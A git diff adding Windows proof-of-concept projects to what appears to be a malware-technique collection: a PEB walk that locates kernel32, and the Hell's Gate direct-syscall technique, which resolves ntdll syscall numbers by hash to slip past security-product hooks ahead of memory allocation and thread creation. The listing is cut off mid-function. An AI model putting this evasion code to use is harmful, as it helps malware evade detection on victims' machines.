Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GetKernel32Addressx64", "GetKernel32Addressx64\GetKernel32Addressx64.vcxproj", "{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|Win32.ActiveCfg = Debug|Win32 + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|Win32.Build.0 = Debug|Win32 + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|x64.ActiveCfg = Debug|x64 + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|x64.Build.0 = Debug|x64 + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|Win32.ActiveCfg = Release|Win32 + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|Win32.Build.0 = Release|Win32 + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|x64.ActiveCfg = Release|x64 + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.cpp b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.cpp new file mode 100644 index 00000000..aa7056b5 --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.cpp @@ -0,0 +1,59 @@ +// GetKernel32Addressx64.cpp : ¶¨ŇĺżŘÖĆ̨ӦÓĂłĚĐňµÄČëżÚµăˇŁ +// + +#include "stdafx.h" +#include "GetKernel32Addressx64.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + + +// ΨһµÄÓ¦ÓĂłĚĐň¶ÔĎó + +CWinApp theApp; + +using namespace std; + +#include +extern "C" PVOID64 _cdecl GetPeb(); + + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +}UNICODE_STRING, *PUNICODE_STRING; + +int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) +{ + PVOID64 Peb = NULL; + PVOID64 LDR_DATA_Addr = NULL; + UNICODE_STRING* FullName; + HMODULE hKernel32 = NULL; + LIST_ENTRY* pNode = NULL; + + // For win7 x64 TEST + Peb = GetPeb(); + if(Peb == NULL) + return 0; + + LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb+0x018); + if(LDR_DATA_Addr == NULL) + return 0; + + pNode =(LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr+0x30)); + while(true) + { + FullName = (UNICODE_STRING*)((BYTE*)pNode+0x38); + if(*(FullName->Buffer + 12) == '\0') + { + hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode+0x10))); + break; + } + pNode = pNode->Flink; + } + printf("%S : %p",FullName->Buffer,hKernel32); + + return 0; +} diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.h new file mode 100644 index 00000000..d00d47e7 --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.h @@ -0,0 +1,3 @@ +#pragma once + +#include "resource.h" diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.rc b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.rc new file mode 100644 index 00000000..cda2fb45 Binary files /dev/null and b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.rc differ diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj new file mode 100644 index 00000000..c6832c6e --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {1215E56F-670D-4DBF-9750-D7EB3D74F4B9} + Win32Proj + GetKernel32Addressx64 + + + + Application + true + Unicode + Dynamic + + + Application + true + Unicode + Dynamic + + + Application + false + true + Unicode + Dynamic + + + Application + false + true + Unicode + Dynamic + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + ProgramDatabase + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + + + + + + + + + C:\Users\TyLtw\Documents\Visual Studio 2010\Projects\GetKernel32Addressx64;%(IncludePaths) + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj.filters b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj.filters new file mode 100644 index 00000000..bf633314 --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj.filters @@ -0,0 +1,52 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + + + 资ćşć–‡ä»¶ + + + + + ćşć–‡ä»¶ + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetPeb.asm b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetPeb.asm new file mode 100644 index 00000000..88cc795c --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/GetPeb.asm @@ -0,0 +1,7 @@ + +.CODE + GetPeb PROC + mov rax,gs:[60h] + ret + GetPeb ENDP + END \ No newline at end of file diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/Resource.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/Resource.h new file mode 100644 index 00000000..74b2ac14 --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/Resource.h @@ -0,0 +1,17 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by GetKernel32Addressx64.rc +// + +#define IDS_APP_TITLE 103 + +// жÔĎóµÄĎÂŇ»×éĬČĎÖµ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.cpp b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.cpp new file mode 100644 index 00000000..0d47986d --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : Ö»°üŔ¨±ę׼°üş¬ÎÄĽţµÄÔ´ÎÄĽţ +// GetKernel32Addressx64.pch ˝«×÷ÎŞÔ¤±ŕŇëÍ· +// stdafx.obj ˝«°üş¬Ô¤±ŕŇëŔŕĐÍĐĹϢ + +#include "stdafx.h" + +// TODO: ÔÚ STDAFX.H ÖĐ +// ŇýÓĂČÎşÎËůĐčµÄ¸˝ĽÓÍ·ÎÄĽţŁ¬¶ř˛»ĘÇÔÚ´ËÎÄĽţÖĐŇýÓĂ diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.h new file mode 100644 index 00000000..4721a605 --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/stdafx.h @@ -0,0 +1,32 @@ +// stdafx.h : ±ę׼ϵͳ°üş¬ÎÄĽţµÄ°üş¬ÎÄĽţŁ¬ +// »ňĘÇľ­łŁĘąÓõ«˛»łŁ¸ü¸ÄµÄ +// Ěض¨ÓÚĎîÄżµÄ°üş¬ÎÄĽţ +// + +#pragma once + +#include "targetver.h" + +#include +#include +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString ąąÔ캯Ęý˝«ĘÇĎÔĘ˝µÄ + +#ifndef VC_EXTRALEAN +#define VC_EXTRALEAN // ´Ó Windows Í·ÎÄĽţÖĐĹĹłýĽ«ÉŮĘąÓõÄĐĹϢ +#endif + +#include +#include // MFC şËĐÄ×éĽţşÍ±ę׼×éĽţ +#include // MFC Ŕ©Őą +#ifndef _AFX_NO_OLE_SUPPORT +#include // MFC ¶Ô Internet Explorer 4 ą«ą˛żŘĽţµÄÖ§łÖ +#endif +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC ¶Ô Windows ą«ą˛żŘĽţµÄÖ§łÖ +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include + + + +// TODO: ÔÚ´Ë´¦ŇýÓĂłĚĐňĐčŇŞµÄĆäËűÍ·ÎÄĽţ diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/targetver.h b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/targetver.h new file mode 100644 index 00000000..7a7d2c83 --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// °üŔ¨ SDKDDKVer.h ˝«¶¨ŇĺżÉÓõÄ×î¸ß°ć±ľµÄ Windows ƽ̨ˇŁ + +// ČçąűŇŞÎŞŇÔÇ°µÄ Windows ƽ̨ÉúłÉÓ¦ÓĂłĚĐňŁ¬Çë°üŔ¨ WinSDKVer.hŁ¬˛˘˝« +// WIN32_WINNT şęÉčÖĂÎŞŇŞÖ§łÖµÄƽ̨Ł¬Č»şóÔŮ°üŔ¨ SDKDDKVer.hˇŁ + +#include diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/ReadMe.txt b/Win32/Proof of Concepts/GetKernel32Addressx64/ReadMe.txt new file mode 100644 index 00000000..021152ae --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/ReadMe.txt @@ -0,0 +1,14 @@ +in x64 +1.get peb from fs:[0x60] by asm file +2.get Ldr by peb +3.get kernel32 module in the third module +ntdll->kernelbase->kernel32 + +in x86 +1.get peb from fs:[0x30] by inline asm +2.get Ldr by peb +3.get kernel32 module in the second module +ntdll->kernel32 + +the offset in the PEB is different from x64 and x86 +This demo is only Test on Win7 x64 diff --git a/Win32/Proof of Concepts/HellsGate/.gitignore b/Win32/Proof of Concepts/HellsGate/.gitignore new file mode 100644 index 00000000..83ba0814 --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/.gitignore @@ -0,0 +1,360 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Coverlet is a free, cross platform Code Coverage Tool +coverage*[.json, .xml, .info] + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate.sln b/Win32/Proof of Concepts/HellsGate/HellsGate.sln new file mode 100644 index 00000000..f28de621 --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/HellsGate.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30114.105 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB} + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj b/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj new file mode 100644 index 00000000..462e6d00 --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {dc6187cb-d5df-4973-84a2-f92aae90cda9} + HellsGate + 10.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + Document + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj.filters b/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj.filters new file mode 100644 index 00000000..f73ae10a --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/HellsGate/HellsGate.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/hellsgate.asm b/Win32/Proof of Concepts/HellsGate/HellsGate/hellsgate.asm new file mode 100644 index 00000000..fe505028 --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/HellsGate/hellsgate.asm @@ -0,0 +1,23 @@ +; Hell's Gate +; Dynamic system call invocation +; +; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) + +.data + wSystemCall DWORD 000h + +.code + HellsGate PROC + mov wSystemCall, 000h + mov wSystemCall, ecx + ret + HellsGate ENDP + + HellDescent PROC + mov r10, rcx + mov eax, wSystemCall + + syscall + ret + HellDescent ENDP +end diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/main.c b/Win32/Proof of Concepts/HellsGate/HellsGate/main.c new file mode 100644 index 00000000..506790c3 --- /dev/null +++ b/Win32/Proof of Concepts/HellsGate/HellsGate/main.c @@ -0,0 +1,211 @@ +#pragma once +#include +#include "structs.h" + +/*-------------------------------------------------------------------- + VX Tables +--------------------------------------------------------------------*/ +typedef struct _VX_TABLE_ENTRY { + PVOID pAddress; + DWORD64 dwHash; + WORD wSystemCall; +} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY; + +typedef struct _VX_TABLE { + VX_TABLE_ENTRY NtAllocateVirtualMemory; + VX_TABLE_ENTRY NtProtectVirtualMemory; + VX_TABLE_ENTRY NtCreateThreadEx; + VX_TABLE_ENTRY NtWaitForSingleObject; +} VX_TABLE, * PVX_TABLE; + +/*-------------------------------------------------------------------- + Function prototypes. +--------------------------------------------------------------------*/ +PTEB RtlGetThreadEnvironmentBlock(); +BOOL GetImageExportDirectory( + _In_ PVOID pModuleBase, + _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory +); +BOOL GetVxTableEntry( + _In_ PVOID pModuleBase, + _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, + _In_ PVX_TABLE_ENTRY pVxTableEntry +); +BOOL Payload( + _In_ PVX_TABLE pVxTable +); +PVOID VxMoveMemory( + _Inout_ PVOID dest, + _In_ const PVOID src, + _In_ SIZE_T len +); + +/*-------------------------------------------------------------------- + External functions' prototype. +--------------------------------------------------------------------*/ +extern VOID HellsGate(WORD wSystemCall); +extern HellDescent(); + +INT wmain() { + PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); + PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; + if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) + return 0x1; + + // Get NTDLL module + PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); + + // Get the EAT of NTDLL + PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL; + if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL) + return 0x01; + + VX_TABLE Table = { 0 }; + Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) + return 0x1; + + Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) + return 0x1; + + Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) + return 0x1; + + Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)) + return 0x1; + + Payload(&Table); + return 0x00; +} + +PTEB RtlGetThreadEnvironmentBlock() { +#if _WIN64 + return (PTEB)__readgsqword(0x30); +#else + return (PTEB)__readfsdword(0x16); +#endif +} + +DWORD64 djb2(PBYTE str) { + DWORD64 dwHash = 0x7734773477347734; + INT c; + + while (c = *str++) + dwHash = ((dwHash << 0x5) + dwHash) + c; + + return dwHash; +} + +BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { + // Get DOS header + PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; + if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return FALSE; + } + + // Get NT headers + PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); + if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + return FALSE; + } + + // Get the EAT + *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + return TRUE; +} + +BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) { + PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions); + PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); + PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals); + + for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { + PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); + PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + + if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { + pVxTableEntry->pAddress = pFunctionAddress; + + // Quick and dirty fix in case the function has been hooked + WORD cw = 0; + while (TRUE) { + // check if syscall, in this case we are too far + if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05) + return FALSE; + + // check if ret, in this case we are also probaly too far + if (*((PBYTE)pFunctionAddress + cw) == 0xc3) + return FALSE; + + // First opcodes should be : + // MOV R10, RCX + // MOV RCX, + if (*((PBYTE)pFunctionAddress + cw) == 0x4c + && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b + && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 + && 